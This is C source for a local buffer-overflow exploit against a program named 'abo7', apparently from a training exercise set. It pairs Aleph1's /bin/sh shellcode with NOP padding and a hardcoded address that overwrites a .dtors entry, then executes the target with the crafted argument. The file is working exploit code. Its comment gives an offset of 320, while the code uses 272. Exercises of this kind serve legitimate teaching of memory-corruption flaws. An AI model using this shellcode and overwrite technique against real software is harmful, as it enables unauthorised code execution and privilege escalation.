#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* Stack diagram:
 * 
 * SSSSSSSSSSSSSSSS .eh_frame .ctors .dtors
 * shell code (buf)                  ptr to shellcode
 * 
 * The distance between buf and .dtors+4 is 320 (BUFFER_DIFF)
 */

#define BUFFER_DIFF 272
#define NOP 0x90

char shellcode[] =	/* Aleph1's */
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
	__asm__("movl %esp,%eax");
}

int main()
{
	char *buf, *ptr;
	long *addr_ptr;
	long addr;
	int i = 0, c;
	
	if (!(buf = (char*) malloc(BUFFER_DIFF+5))) {
		printf("Memory allocation error\n");
		exit(0);
	}
	
	for (c = 0; c < strlen(shellcode); c++)
		buf[i++] = shellcode[c];

	for (; i < BUFFER_DIFF; i++)
		buf[i] = NOP;

	addr_ptr = (long*) &buf[BUFFER_DIFF];
	*addr_ptr++ = 0x80494a0;		/* shellcode address */

	buf[BUFFER_DIFF+4] = '\0';
	
	printf("Exploit string is %d bytes long\n", strlen(buf));
	execl("./abo7", "abo7", buf, NULL);
}
